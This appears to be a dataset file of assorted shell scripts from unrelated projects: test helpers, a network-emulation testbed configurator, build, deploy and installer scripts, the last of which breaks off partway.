ts_device_has_uuid {\n\tts_uuid_by_devname \"$1\" | egrep -q '^[0-9a-z]{8}-[0-9a-z]{4}-[0-9a-z]{4}-[0-9a-z]{4}-[0-9a-z]{12}$'\n\treturn $?\n}\n\nfunction ts_is_mounted {\n\tlocal DEV=$1\n\n\tgrep -q $DEV /proc/mounts && return 0\n\n\tif [ \"${DEV#/dev/loop/}\" != \"$DEV\" ]; then\n\t\treturn grep -q \"/dev/loop${DEV#/dev/loop/}\" /proc/mounts\n\tfi\n\treturn 1\n}\n\nfunction ts_swapoff {\n\tlocal DEV=\"$1\"\n\n\t# swapoff doesn't exist in build tree\n\tif [ ! -x \"$TS_CMD_SWAPOFF\" ]; then\n\t\tln -sf $TS_CMD_SWAPON $TS_CMD_SWAPOFF\n\t\tREMSWAPOFF=\"true\"\n\tfi\n\tLD_LIBRARY_PATH=\"$U_L_LIBRARY_PATH\" \\\n\t\t\t$TS_CMD_SWAPOFF $DEV 2>&1 >> $TS_OUTPUT\n\tif [ -n \"$REMSWAPOFF\" ]; then\n\t\trm -f $TS_CMD_SWAPOFF\n\tfi\n}\n\nfunction ts_fstab_open {\n\techo \"# \" >> /etc/fstab\n}\n\nfunction ts_fstab_addline {\n\tlocal SPEC=\"$1\"\n\tlocal MNT=${2:-\"$TS_MOUNTPOINT\"}\n\tlocal FS=${3:-\"auto\"}\n\tlocal OPT=${4:-\"defaults\"}\n\n\techo \"$SPEC $MNT $FS $OPT 0 0\" >> /etc/fstab\n}\n\nfunction ts_fstab_add {\n\tts_fstab_open\n\tts_fstab_addline $*\n\tts_fstab_close\n}\n\nfunction ts_fstab_clean {\n\tsed --in-place \"\n/# /!{\n N\n ba\n}\ns/# //;\n/^$/d\" /etc/fstab\n}\n\nfunction ts_fdisk_clean {\n\t# remove non comparable parts of fdisk output\n\t[ x\"${DEVNAME}\" != x\"\" ] && sed -i -e \"s/\\/dev\\/${DEVNAME}/\\/dev\\/.../g\" $TS_OUTPUT\n\tsed -i -e 's/Disk identifier:.*//g' \\\n\t -e 's/Building a new.*//g' \\\n\t -e 's/Welcome to fdisk.*//g' \\\n\t $TS_OUTPUT\n}"} {"text": "export PYTHONPATH=.; py.test -v --cov rexlex --cov-report html --cov-config=.coveragerc \"$@\""} {"text": "guobin211/reactive-express\n#!/usr/bin/env bash\n## start\n\nsudo mkdir -p data/db\nsudo mongod\n\n## 创建admin\n#> use admin\n#> db.createUser(\n# {\n# user:\"admin\",\n# pwd:\"\",\n# roles:[{role:\"root\",db:\"admin\"}]\n# }\n# )\n\n## 创建数据库账号\n#> use node\n#> db.createUser({user:\"node\",pws:\"admin888\",roles:[{role:'dbOwner',db:\"node\"}]})\n\n## 启动授权模式\n#> sudo mongod --auth\n\n## 自定义数据库配置\n#> sudo mongod --auth -f /usr/local/etc/mongod.conf\n\n## 关闭数据库\n#use admin, db.shutdownServer()\n\n## 使用 brew 管理数据库\nbrew services start mongodb\n\nbrew services stop mongodb\n\nbrew services restart mongodb"} {"text": "yxlao/dotfiles-publicscripts/u18_desktop.sh\n#!/usr/bin/env bash\n\nset -eu\n\nSCRIPT=$(readlink -f \"$0\")\nPWD=$(dirname \"$SCRIPT\")\n${PWD}/u18_server.sh\n\nsudo apt install -y \\\n compizconfig-settings-manager \\\n filezilla \\\n gimp \\\n gparted \\\n indicator-multiload \\\n ubuntu-restricted-extras \\\n unity-tweak-tool"} {"text": "dash-pa/HPA-Sim\n#!/bin/bash\n\n/home/pi/ble.py $1 > /home/pi/ble_$BASHPID.log 2> /home/pi/ble_e_$BASHPID.log"} {"text": "#!/bin/bash\n\n# this file contains all code that is used to actually modify the testbed\n# parameters on the different machines\n#\n# it acts as an abstraction layer on top of the testbed\n#\n# it handles both setup in the docker environment as well as on a real testbed\n# as the variables for the testbed is stored seperately\n\n. \"$(dirname $(readlink -f $BASH_SOURCE))/aqmt-vars.sh\"\n\n# run all tc and ip commands through sudo if needed\ntc() {\n if [ $(id -u) -ne 0 ]; then\n sudo $tc \"$@\"\n else\n command $tc \"$@\"\n fi\n}\n\nip() {\n if [ $(id -u) -ne 0 ]; then\n sudo ip \"$@\"\n else\n command ip \"$@\"\n fi\n}\n\nconfigure_host_cc() {(set -e\n local host=$1\n local tcp_congestion_control=$2\n local tcp_ecn=$3\n\n local feature_ecn=\"\"\n if [ \"$tcp_ecn\" == \"1\" ]; then\n feature_ecn=\" features ecn\"\n fi\n\n # the 10.25. range belongs to the Docker setup\n # it needs to use congctl for a per route configuration\n # (congctl added in iproute2 v4.0.0)\n ssh root@$host '\n set -e\n if [ -f /proc/sys/net/ipv4/tcp_congestion_control ]; then\n sysctl -q -w net.ipv4.tcp_congestion_control='$tcp_congestion_control'\n else\n # we are on docker\n . /aqmt-vars-local.sh\n if ip a show $IFACE_AQM | grep -q 10.25.1.; then\n # on client\n ip route replace 10.25.2.0/24 via 10.25.1.2 dev $IFACE_AQM congctl '$tcp_congestion_control$feature_ecn'\n ip route replace 10.25.3.0/24 via 10.25.1.2 dev $IFACE_AQM congctl '$tcp_congestion_control$feature_ecn'\n else\n # on server\n ip_prefix=$(ip a show $IFACE_AQM | grep \"inet 10\" | awk \"{print \\$2}\" | sed \"s/\\.[0-9]\\+\\/.*//\")\n ip route replace 10.25.1.0/24 via ${ip_prefix}.2 dev $IFACE_AQM congctl '$tcp_congestion_control$feature_ecn'\n fi\n fi\n sysctl -q -w net.ipv4.tcp_ecn='$tcp_ecn\n) || (echo -e \"\\nERROR: Failed setting cc $2 (ecn = $3) on node $1\\n\"; exit 1)}\n\nconfigure_clients_edge_aqm_node() {(set -e\n local testrate=$1\n local rtt=$2\n local aqm_name=$3\n local aqm_params=$4\n local netem_params=$5 # optional\n\n local delay=$(echo \"scale=2; $rtt / 2\" | bc) # delay is half the rtt\n\n # htb = hierarchy token bucket - used to limit bandwidth\n # netem = used to simulate delay (link distance)\n\n if [ $rtt -gt 0 ]; then\n if tc qdisc show dev $IFACE_CLIENTS | grep -q \"qdisc netem 2:\"; then\n tc qdisc change dev $IFACE_CLIENTS handle 2: netem delay ${delay}ms $netem_params\n tc class change dev $IFACE_CLIENTS parent 3: classid 10 htb rate $testrate\n else\n tc qdisc del dev $IFACE_CLIENTS root 2>/dev/null || true\n tc qdisc add dev $IFACE_CLIENTS root handle 1: prio bands 2 priomap 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\n tc filter add dev $IFACE_CLIENTS parent 1:0 protocol ip prio 1 u32 match ip src $IP_AQM_C flowid 1:1\n tc qdisc add dev $IFACE_CLIENTS parent 1:2 handle 2: netem delay ${delay}ms $netem_params\n tc qdisc add dev $IFACE_CLIENTS parent 2: handle 3: htb default 10\n tc class add dev $IFACE_CLIENTS parent 3: classid 10 htb rate $testrate #burst 1516\n fi\n else\n if ! tc qdisc show dev $IFACE_CLIENTS | grep -q \"qdisc netem 2:\" && \\\n tc qdisc show dev $IFACE_CLIENTS | grep -q \"qdisc htb 3:\"; then\n tc class change dev $IFACE_CLIENTS parent 3: classid 10 htb rate $testrate\n else\n tc qdisc del dev $IFACE_CLIENTS root 2>/dev/null || true\n tc qdisc add dev $IFACE_CLIENTS root handle 1: prio bands 2 priomap 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\n tc filter add dev $IFACE_CLIENTS parent 1:0 protocol ip prio 1 u32 match ip src $IP_AQM_C flowid 1:1\n tc qdisc add dev $IFACE_CLIENTS parent 1:2 handle 3: htb default 10\n tc class add dev $IFACE_CLIENTS parent 3: classid 10 htb rate $testrate #burst 1516\n fi\n fi\n\n if [ -n \"$aqm_name\" ]; then\n # update params if possible\n if tc qdisc show dev $IFACE_CLIENTS | grep -q \"qdisc $aqm_name 15:\"; then\n tc qdisc change dev $IFACE_CLIENTS handle 15: $aqm_name $aqm_params\n echo \"Updated params on existing aqm\"\n else\n tc qdisc add dev $IFACE_CLIENTS parent 3:10 handle 15: $aqm_name $aqm_params\n fi\n fi\n) || (echo -e \"\\nERROR: Failed configuring AQM clients edge (aqm = $3)\\n\"; exit 1)}\n\nconfigure_clients_node() {(set -e\n local rtt=$1\n local netem_params=$2 # optional\n\n local delay=$(echo \"scale=2; $rtt / 2\" | bc) # delay is half the rtt\n\n # netem = used to simulate delay (link distance)\n\n if [ $rtt -gt 0 ]; then\n hosts=($IP_CLIENTA_MGMT $IP_CLIENTB_MGMT)\n ifaces=($IFACE_ON_CLIENTA $IFACE_ON_CLIENTB)\n for i in ${!hosts[@]}; do\n ssh root@${hosts[$i]} \"\n set -e\n # if possible update the delay rather than destroying the existing qdisc\n if tc qdisc show dev ${ifaces[$i]} | grep -q 'qdisc netem 12:'; then\n tc qdisc change dev ${ifaces[$i]} handle 12: netem delay ${delay}ms $netem_params\n else\n tc qdisc del dev ${ifaces[$i]} root 2>/dev/null || true\n tc qdisc add dev ${ifaces[$i]} root handle 1: prio bands 2 priomap 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\n tc qdisc add dev ${ifaces[$i]} parent 1:2 handle 12: netem delay ${delay}ms $netem_params\n tc filter add dev ${ifaces[$i]} parent 1:0 protocol ip prio 1 u32 match ip dst $IP_AQM_C flowid 1:1\n fi\"\n done\n else\n # no delay: force pfifo_fast\n hosts=($IP_CLIENTA_MGMT $IP_CLIENTB_MGMT)\n ifaces=($IFACE_ON_CLIENTA $IFACE_ON_CLIENTB)\n for i in ${!hosts[@]}; do\n ssh root@${hosts[$i]} \"\n set -e\n # skip if already set up\n if ! tc qdisc show dev ${ifaces[$i]} | grep -q 'qdisc pfifo_fast 1:'; then\n tc qdisc del dev ${ifaces[$i]} root 2>/dev/null || true\n tc qdisc add dev ${ifaces[$i]} root handle 1: pfifo_fast 2>/dev/null || true\n fi\"\n done\n fi\n) || (echo -e \"\\nERROR: Failed configuring client nodes\\n\"; exit 1)}\n\nconfigure_clients_edge() {(set -e\n local testrate=$1\n local rtt=$2\n local aqm_name=$3\n local aqm_params=$4\n local netem_params=$5 # optional\n\n configure_clients_edge_aqm_node $testrate $rtt $aqm_name \"$aqm_params\" \"$netem_params\"\n configure_clients_node $rtt \"$netem_params\"\n)}\n\nconfigure_server_edge() {(set -e\n local ip_server_mgmt=$1\n local ip_aqm_s=$2\n local iface_server=$3\n local iface_on_server=$4\n local rtt=$5\n local netem_params=$6 # optional\n\n local delay=$(echo \"scale=2; $rtt / 2\" | bc) # delay is half the rtt\n\n # put traffic in band 1 by default\n # delay traffic in band 1\n # filter traffic from aqm node itself into band 0 for priority and no delay\n if tc qdisc show dev $iface_server | grep -q 'qdisc netem 12:'; then\n tc qdisc change dev $iface_server handle 12: netem delay ${delay}ms $netem_params\n else\n tc qdisc del dev $iface_server root 2>/dev/null || true\n tc qdisc add dev $iface_server root handle 1: prio bands 2 priomap 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\n tc qdisc add dev $iface_server parent 1:2 handle 12: netem delay ${delay}ms $netem_params\n tc filter add dev $iface_server parent 1:0 protocol ip prio 1 u32 match ip src $ip_aqm_s flowid 1:1\n fi\n\n ssh root@$ip_server_mgmt \"\n set -e\n if tc qdisc show dev $iface_on_server | grep -q 'qdisc netem 12:'; then\n tc qdisc change dev $iface_on_server handle 12: netem delay ${delay}ms $netem_params\n else\n tc qdisc del dev $iface_on_server root 2>/dev/null || true\n tc qdisc add dev $iface_on_server root handle 1: prio bands 2 priomap 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\n tc qdisc add dev $iface_on_server parent 1:2 handle 12: netem delay ${delay}ms $netem_params\n tc filter add dev $iface_on_server parent 1:0 protocol ip prio 1 u32 match ip dst $ip_aqm_s flowid 1:1\n fi\"\n) || (echo -e \"\\nERROR: Failed configuring server edge for server $1\\n\"; exit 1)}\n\nreset_aqm_client_edge() {(set -e\n # reset qdisc at client side\n tc qdisc del dev $IFACE_CLIENTS root 2>/dev/null || true\n tc qdisc add dev $IFACE_CLIENTS root handle 1: pfifo_fast 2>/dev/null || true\n)}\n\nreset_aqm_server_edge() {(set -e\n # reset qdisc at server side\n for iface in $IFACE_SERVERA $IFACE_SERVERB; do\n tc qdisc del dev $iface root 2>/dev/null || true\n tc qdisc add dev $iface root handle 1: pfifo_fast 2>/dev/null || true\n done\n)}\n\nreset_host() {(set -e\n local host=$1\n local iface=$2 # the iface is the one that test traffic to aqm is going on\n # e.g. $IFACE_ON_CLIENTA\n ssh root@$host \"\n set -e\n tc qdisc del dev $iface root 2>/dev/null || true\n tc qdisc add dev $iface root handle 1: pfifo_fast 2>/dev/null || true\"\n)}\n\nreset_all_hosts_edge() {(set -e\n hosts=($IP_CLIENTA_MGMT $IP_CLIENTB_MGMT $IP_SERVERA_MGMT $IP_SERVERB_MGMT)\n ifaces=($IFACE_ON_CLIENTA $IFACE_ON_CLIENTB $IFACE_ON_SERVERA $IFACE_ON_SERVERB)\n\n for i in ${!hosts[@]}; do\n reset_host ${hosts[$i]} ${ifaces[$i]}\n done\n)}\n\nreset_all_hosts_cc() {(set -e\n for host in CLIENTA CLIENTB SERVERA SERVERB; do\n name=\"IP_${host}_MGMT\"\n configure_host_cc ${!name} cubic 2\n done\n)}\n\nset_offloading() {(set -e\n onoff=$1\n\n hosts=($IP_CLIENTA_MGMT $IP_CLIENTB_MGMT $IP_SERVERA_MGMT $IP_SERVERB_MGMT)\n ifaces=($IFACE_ON_CLIENTA $IFACE_ON_CLIENTB $IFACE_ON_SERVERA $IFACE_ON_SERVERB)\n\n for i in ${!hosts[@]}; do\n ssh root@${hosts[$i]} \"\n set -e\n ethtool -K ${ifaces[$i]} gro $onoff\n ethtool -K ${ifaces[$i]} gso $onoff\n ethtool -K ${ifaces[$i]} tso $onoff\"\n done\n\n for iface in $IFACE_CLIENTS $IFACE_SERVERA $IFACE_SERVERB; do\n sudo ethtool -K $iface gro $onoff\n sudo ethtool -K $iface gso $onoff\n sudo ethtool -K $iface tso $onoff\n done\n)}\n\nkill_all_traffic() {(set -e\n hosts=($IP_CLIENTA_MGMT $IP_CLIENTB_MGMT $IP_SERVERA_MGMT $IP_SERVERB_MGMT)\n\n for host in ${hosts[@]}; do\n ssh root@$host '\n set -e\n killall -9 iperf 2>/dev/null || :\n killall -9 greedy 2>/dev/null || :'\n done\n)}\n\nget_host_cc() {(set -e\n local host=$1\n\n # see configure_host_cc for more details on setup\n\n ssh root@$host '\n set -e\n if [ -f /proc/sys/net/ipv4/tcp_congestion_control ]; then\n sysctl -n net.ipv4.tcp_congestion_control\n sysctl -n net.ipv4.tcp_ecn\n else\n # we are on docker\n . /aqmt-vars-local.sh\n if ip a show $IFACE_AQM | grep -q 10.25.1.; then\n # on client\n route=10.25.2.0/24\n else\n route=10.25.1.0/24\n fi\n\n ip route show $route | awk -F\"congctl \" \"{print \\$2}\" | cut -d\" \" -f1\n ip route show $route | grep -q \"ecn\" && echo \"1\" || echo \"2\"\n fi'\n)}\n\ncheck_port_in_use() {(set -e\n # output to stdout: 0 if free, or else the number of open sockets\n local host=$1\n local port=$2\n\n ssh root@$host \"\n set -e\n ss -an src :$port | tail -n +2 | wc -l\n \"\n)}\n\nget_aqm_options() {(set -e\n local aqm_name=$1\n\n if [ -n \"$aqm_name\" ]; then\n tc qdisc show dev $IFACE_CLIENTS | grep \"$aqm_name\" | sed 's/.*parent [0-9:]\\+ //'\n else\n echo '(no aqm)'\n fi\n)}\n\n# method that will abort the script if we are not on the aqm-machine\nrequire_on_aqm_node() {\n if ! [[ $(ip addr show to $IP_AQM_C) ]]; then\n echo \"The program must be run on the AQM-machine\"\n exit 1\n fi\n}\n\n# method that will abort the script if we are on the aqm-machine\nrequire_not_on_aqm_node() {\n if [[ $(ip addr show to $IP_AQM_C) ]]; then\n echo \"The program cannot be run on the AQM-machine\"\n exit 1\n fi\n}"} {"text": "PYTHONPATH=/home/u01/work/python/todolist/lib\nexport PYTHONPATH\nbobo -f app.py -s=./static"} {"text": "0\n#!/bin/bash\nset -euo pipefail\n\nscriptname=$(basename \"${BASH_SOURCE[0]}\")\nscriptpath=\"${BASH_SOURCE[0]}\"\nscriptpath=$(cd \"$(dirname \"${scriptpath}\")\" && pwd)\ncd ${scriptpath}/../carthage-files\n\n# Build\necho \"Building Branch.xcframework\"\nxcodebuild -scheme 'Branch-xcframework'\n\n# Move to build folder\ncd ${scriptpath}/../carthage-files/build\n\n# Zip the SDK files\necho \"Zipping Branch.xcframework\"\nzip -rqy Branch.zip Branch.xcframework/\n\n# Checksum the zip file\necho \"Creating Branch.zip checksum\"\nchecksum_file=checksum\n\necho '#checksum for Branch.zip on Github' > \"$checksum_file\"\nshasum Branch.zip >> $checksum_file\n\n# Move zip file and checksum\nmv Branch.zip ..\nmv checksum ..\n\n# Remove source frameworks\necho \"Cleaning up\"\nrm -rf Branch.xcframework"} {"text": "DERBY_HOME=$JAVA_HOME/db\nexport DERBY_HOME\nPATH=$PATH:$DERBY_HOME/bin\nexport PATH"} {"text": "#! /usr/bin/env bash\nbug=1969629\nif [[ $1 == \"--hwut-info\" ]]; then\n echo \"sphericalcow: $bug 0.25.4 token list with just TERMINATION treated empty\"\n exit\nfi\n\ntmp=`pwd`\ncd $bug/ \nquex --cbm -i error.qx -o Simple # --debug-exception\n\n# cleansening\nrm -rf Simple Simple.cpp Simple-token_ids Simplism Simple-configuration\ncd $tmp"} {"text": "#!/usr/bin/env bash\n# \"\"\"Simply setup directory environment for the current folder\n#\n# SYNOPSIS:\n# ./setup.sh [-u|--upgrade] [-s|--ssh]\n#\n# DESCRIPTION:\n# This script will install/upgrade set of scripts to created a directory\n# environment for the current folder. If directory is already configure to use\n# directory environment and user does not provide `-u|--upgrade` options, an\n# error will be shown and nothing will be done.\n#\n# Available options are:\n#\n# -u,--upgrade: Upgrade the current directory scripts to manage directory\n# environment.\n#\n# -s,--ssh: Specify setup to use SSH to clone direnv_template git repo.\n#\n# \"\"\"\n\n\n# Set constant variables\nGIT_DOMAIN=\"framagit.org\"\nGIT_NAMESPACE=\"rdeville.public/my_programs\"\nGIT_REPO_NAME=\"direnv_template.git\"\nHTTPS_GIT_URL=\"https://${GIT_DOMAIN}/${GIT_NAMESPACE}/${GIT_REPO_NAME}\"\nSSH_GIT_URL=\"git@${GIT_DOMAIN}:${GIT_NAMESPACE}/${GIT_REPO_NAME}\"\nCLONE_METHOD=\"https\"\nUPGRADE=\"false\"\nDIRENV_ROOT=\"${PWD}\"\nDIRENV_TMP=\"${DIRENV_ROOT}/.tmp\"\nDIRENV_DEBUG_LEVEL=\"INFO\"\nDIRENV_CLONE_ROOT=\"${DIRENV_TMP}/direnv_template\"\nTO_INSTALL=(\n \".envrc\"\n \".sha1\"\n \"activate_direnv\"\n \"deactivate_direnv\"\n \"bin\"\n \"lib\"\n \"modules\"\n \"src\"\n \"templates\"\n)\n\n\nmain()\n{\n # \"\"\"Setup folder to be able to use directory environment mechanism\n #\n # Check if git is installed. Then check that folder is not already set to use\n # directory environment mechanism.\n #\n # If directory already set to use directory environment, then check if user\n # explicitly tell to upgrade and upgrade, otherwise, print a warning and exit.\n #\n # If directory not already set to use directory environment, clone\n # direnv_template repo to a temporary folder, copy relevant scripts to set\n # the folder to use directory environment and remove cloned direnv_template\n # repo.\n #\n # Globals:\n # HTTPS_GIT_URL\n # SSH_GIT_URL\n # CLONE_METHOD\n # UPGRADE\n # DIRENV_ROOT\n # DIRENV_TMP\n # DIRENV_CLONE_ROOT\n # TO_INSTALL\n #\n # Arguments:\n # -u|--upgrade\n # -s|--ssh\n #\n # Output:\n # Log informations\n #\n # Returns:\n # 0 if directory is set to use directory environment\n # 1 if something when wrong during the setup of directory environment\n #\n # \"\"\"\n\n check_git()\n {\n # \"\"\"Ensure command `git` exists\n #\n # Globals:\n # None\n #\n # Arguments:\n # None\n #\n # Output:\n # Error message if commang `git` does not exists\n #\n # Returns:\n # 0 if `git` command exists\n # 1 if `git` command does not exist\n #\n # \"\"\"\n\n if ! command -v git > /dev/null 2>&1\n then\n echo -e \"${e_error}\\\n[ERROR] ${e_bold}git${e_normal}${e_error} must be install.${e_normal}${e_error}\\\n[ERROR] Please install ${e_bold}git${e_normal}${e_error} first.${e_normal}\"\n return 1\n fi\n }\n\n clone_direnv_repo()\n {\n # \"\"\"Clone repo direnv_template to a temporary folder\n #\n # Clone the repo direnv_template to a temporary folder using HTTPS or SSH\n # depending on the user provided parameter, i.e. use of option `-s|-ssh` or\n # not.\n #\n # Globals:\n # CLONE_METHOD\n # DIRENV_CLONE_ROOT\n #\n # Arguments:\n # None\n #\n # Output:\n # Log messages\n #\n # Returns:\n # 0 if clone of repo went right\n # 1 if clone of repo went wrong\n #\n # \"\"\"\n\n echo -e \"${e_info}\\\n[INFO] Cloning direnv_template repo to ${e_bold}${DIRENV_TMP}/direnv_template.${e_normal}\"\n mkdir -p \"${DIRENV_TMP}\"\n\n if [[ \"${CLONE_METHOD}\" == \"ssh\" ]]\n then\n git clone \"${SSH_GIT_URL}\" \"${DIRENV_CLONE_ROOT}\" || return 1\n else\n git clone \"${HTTPS_GIT_URL}\" \"${DIRENV_CLONE_ROOT}\" || return 1\n fi\n }\n\n check_upgrade()\n {\n # \"\"\"Check if user specify to upgrade folder directory environment\n #\n # Check if user specify to upgrade folder directory environment, i.e. folder\n # .direnv and script .envrc by the use of option `-u|--upgrade`. If not,\n # print a warning else, upgrade directory environment scripts.\n #\n # Globals:\n # UPGRADE\n # DIRENV_CLONE_ROOT\n #\n # Arguments:\n # None\n #\n # Output:\n # Warning messages\n #\n # Returns:\n # 0 if upgrade went right\n # 1 if user did not specify to upgrade or if upgrade went wrong\n #\n # \"\"\"\n\n\n # If folder seems to already be set to use direnv but user did not specify\n # to upgrade\n if [[ \"${UPGRADE}\" == \"false\" ]]\n then\n echo -e \"${e_warning}\\\n[WARNING] This folder seems to already be set to use direnv.\n[WARNING] Continuing might result in the loss of your configuration.\n[WARNING] If you want to upgrade your configuration use the option \\`--upgrade|-u\\`.\\\n${e_normal}\"\n return 1\n # If folder seems to already be set to use direnv and user not specify to\n # upgrade\n elif [[ \"${UPGRADE}\" == \"true\" ]]\n then\n if [[ \"${CLONE_METHOD}\" == \"ssh\" ]]\n then\n \"${DIRENV_CLONE_ROOT}\"/src/upgrade_direnv.sh -s || return 1\n else\n \"${DIRENV_CLONE_ROOT}\"/src/upgrade_direnv.sh || return 1\n fi\n fi\n }\n\n\n setup_file()\n {\n # \"\"\"Install new version of script from direnv_template temporary repo\n #\n # Simply install file provided as argument from the direnv_template\n # temporary repo to the right place in the folder currently setup to use\n # directory environment.\n #\n # Globals:\n # DIRENV_ROOT\n #\n # Arguments:\n # None\n #\n # Output:\n # Log messages\n #\n # Returns:\n # None\n #\n # \"\"\"\n\n local file_from=\"$1\"\n local file_to\n\n if [[ \"${i_node}\" == \".envrc\" ]]\n then\n file_to=\"${DIRENV_ROOT}/${i_node}\"\n else\n file_to=\"${DIRENV_ROOT}/.direnv/${i_node}\"\n fi\n direnv_log \"INFO\" \"Installing file ${i_node}\"\n mv \"${file_from}\" \"${file_to}\"\n }\n\n\n setup_direnv()\n {\n # \"\"\"Recursively install new version of script from direnv_template temporary repo\n #\n # From the list of defined files and folders, recursively copy all files to\n # their right location from the temporary clone repo to the `.direnv` folder\n # except for `.envrc` which is place at the root of the folder that will be\n # setup to use directory environment.\n #\n # Globals:\n # DIRENV_ROOT\n # DIRENV_CLONE_ROOT\n #\n # Arguments:\n # None\n #\n # Output:\n # None\n #\n # Returns:\n # None\n #\n # \"\"\"\n\n local tmp_nodes=()\n local file_from\n local i_node\n local i_subnode\n\n for i_node in \"$@\"\n do\n file_from=\"${DIRENV_CLONE_ROOT}/${i_node}\"\n if [[ -f \"${file_from}\" ]]\n then\n setup_file \"${file_from}\"\n elif [[ -d \"${file_from}\" ]]\n then\n mkdir -p \"${DIRENV_ROOT}/.direnv/${i_node}\"\n for i_subnode in \"${file_from}\"/* \"${file_from}\"/.*\n do\n if ! [[ \"${i_subnode}\" =~ ^${file_from}\\/[\\.]+$ ]]\n then\n # Remove everything before the last occurence of ${DIRENV_CLONE_ROOT}\n i_subnode=${i_subnode##*${DIRENV_CLONE_ROOT}\\/}\n tmp_nodes+=(\"${i_subnode}\")\n fi\n done\n fi\n done\n\n if [[ -n \"${tmp_nodes[*]}\" ]]\n then\n setup_direnv \"${tmp_nodes[@]}\"\n fi\n }\n\n # Set color prefix\n local e_normal=\"\\e[0m\" # normal (white fg & transparent bg)\n local e_bold=\"\\e[1m\" # bold\n local e_warning=\"\\e[0;33m\" # yellow fg\n local e_error=\"\\e[0;31m\" # red fg\n local e_info=\"\\e[0;32m\" # green fg\n\n local i_arg\n local i_lib\n\n # Ensure git is installed\n check_git || return 1\n\n # Parse arguments\n for i_arg in \"${@}\"\n do\n case \"${i_arg}\" in\n --ssh|-s)\n CLONE_METHOD=\"ssh\"\n ;;\n --upgrade|-u)\n UPGRADE=\"true\"\n esac\n done\n\n # Clone last version of direnv_template to .direnv/tmp folder\n if ! clone_direnv_repo\n then\n echo -e \"${e_warning}\\\n[WARNING] An error occurs when trying to get the last version of direnv_template.\\\n${e_normal}\"\n return 1\n fi\n\n # Source last version of direnv_template library scripts\n for i_lib in \"${DIRENV_CLONE_ROOT}\"/lib/*.sh\n do\n # shellcheck source=./lib/direnv_log.sh\n source \"${i_lib}\"\n done\n\n if [[ -d \"${DIRENV_ROOT}/.direnv\" ]] || [[ -f \"${DIRENV}/.envrc \" ]]\n then\n # Check if user specify want to upgrade\n check_upgrade\n else\n # Install direnv_template\n setup_direnv \"${TO_INSTALL[@]}\"\n fi\n\n direnv_log \"INFO\" \"Removing temporary cloned files\"\n rm -rf \"${DIRENV_CLONE_ROOT}\"\n}\n\nmain \"${@}\"\n\n# ------------------------------------------------------------------------------\n# VIM MODELINE\n# vim: ft=bash: foldmethod=indent\n# ------------------------------------------------------------------------------"} {"text": "#!/usr/bin/env bash\n\nset -e -x\n\necho \"Be sure to be connected to the openshift cluster\"\nexport PROJECT_NAME=scavenger-hunt-microservice\nexport APP=score-gateway\n\noc project ${PROJECT_NAME}\n\necho -e \"Creating build if needed\"\nif oc new-build --binary --name=${APP} -l app=${APP}; then\n info \"[Game Server] New build ${APP} created\"\nfi\n\necho \"Building app\"\nmvn clean package -DskipTests=true;\n\necho -e \"Triggering build\"\noc start-build ${APP} --from-dir=. --follow\n\necho -e \"Creating deployment config, service and route if needed\"\n\nif oc apply -f openshift/deployment.yaml; then\n echo -e \"Deployment created for ${APP}\"\nfi\nif oc apply -f openshift/service.yaml; then\n echo -e \"Service created for ${APP}\"\nfi\nif oc apply -f openshift/route.yaml; then\n echo -e \"Route created for ${APP}\"\nfi"} {"text": "starr-dusT/gitlab-citests/simple/test.sh\n#!/bin/sh\n\n# Access folder\nscript_path=$(readlink -f \"${0}\")\ntest_path=$(readlink -f \"${script_path%/*}\")\ncd \"${test_path}/\"\n\n# Configure tests\nset -ex\n\n# Run tests\ngitlabci-local /dev/null 2>&1 || (sudo -E env PYTHONPATH=\"${PYTHONPATH}\" timeout 5 gitlabci-local 'Job 1' --debug && exit 1 || true)\ngcil Job\ngcil 1\ngcil 4 && exit 1 || true"} {"text": "#!/bin/bash\n\nset -u\nset -e\nFAIL=0\nif [ $# -eq 1 ]\nthen\n Folder=$1\nelse\n Folder=\"current\"\nfi\nNodes=`cat ./lisiscripts/clients`\nFolder=`date +\"%d%m%y_%H%M%S\"`\nmkdir ./results/$Folder\nfor node in $Nodes\ndo\n mkdir ./results/$Folder/$node\n scp -r -i ~/ec2-saturn ubuntu@$node:basho_bench/tests/current/* ./results/$Folder/$node &\ndone\nrm -rf ./results/current\nln -s $Folder/ ./results/current\ncommand=\"scp & ln\"\n\nfor job in `jobs -p`\ndo\n wait $job || let \"FAIL+=1\"\ndone\n\nif [ \"$FAIL\" == \"0\" ];\nthen\necho \"$command finished.\" \nelse\necho \"Fail! ($FAIL)\"\nfi"} {"text": "source ../testsupport.sh\n\nrm -f test.world.txt test.txt\n\nrun\n\ngrep -q \"Stage hello\" test.out || err \"Failed to find expected stage hello\"\ngrep -q \"Stage world\" test.out || err \"Failed to find expected stage world\"\ngrep -q \"1 2 3 4\" test.out || err \"Failed to find expected output '1 2 3 4'\"\n\ntrue"} {"text": "pkg install security/py-certbot-nginx\ncertbot-2.7 --nginx -d domain"} {"text": "install.sh\n#!/bin/bash\n\nNAME=\"oauth\"\nBIN_NAME=\"oauth\"\nVERSION=\"0.1.0\"\nPREFIX=\"/usr/local\"\nCOMP_PREFIX=\"/usr/local/share/zsh/site-functions\"\nGITHUB_USER=\"tzmfreedom\"\nTMP_DIR=\"/tmp\"\nZSH_COMPLETION=\"\"\n\nset -ue\n\nfunction parse_options() {\n for OPT in \"$@\"\n do\n case \"$OPT\" in\n \"--zsh-completion\" )\n ZSH_COMPLETION=\"t\"\n ;;\n -* )\n echo \"$PROGRAM: illegal option -- '$(echo $1 | sed 's/^-*//')'\" 1>&2\n exit 1\n ;;\n esac\n shift\n done\n}\n\nparse_options $@\n\nUNAME=$(uname -s)\nif [ \"$UNAME\" != \"Linux\" -a \"$UNAME\" != \"Darwin\" ] ; then\n echo \"Sorry, OS not supported: ${UNAME}. Download binary from https://github.com/${USERNAME}/${NAME}/releases\"\n exit 1\nfi\n\n\nif [ \"${UNAME}\" = \"Darwin\" ] ; then\n OS=\"darwin\"\n\n OSX_ARCH=$(uname -m)\n if [ \"${OSX_ARCH}\" = \"x86_64\" ] ; then\n ARCH=\"amd64\"\n else\n echo \"Sorry, architecture not supported: ${OSX_ARCH}. Download binary from https://github.com/${USERNAME}/${NAME}/releases\"\n exit 1\n fi\nelif [ \"${UNAME}\" = \"Linux\" ] ; then\n OS=\"linux\"\n\n LINUX_ARCH=$(uname -m)\n if [ \"${LINUX_ARCH}\" = 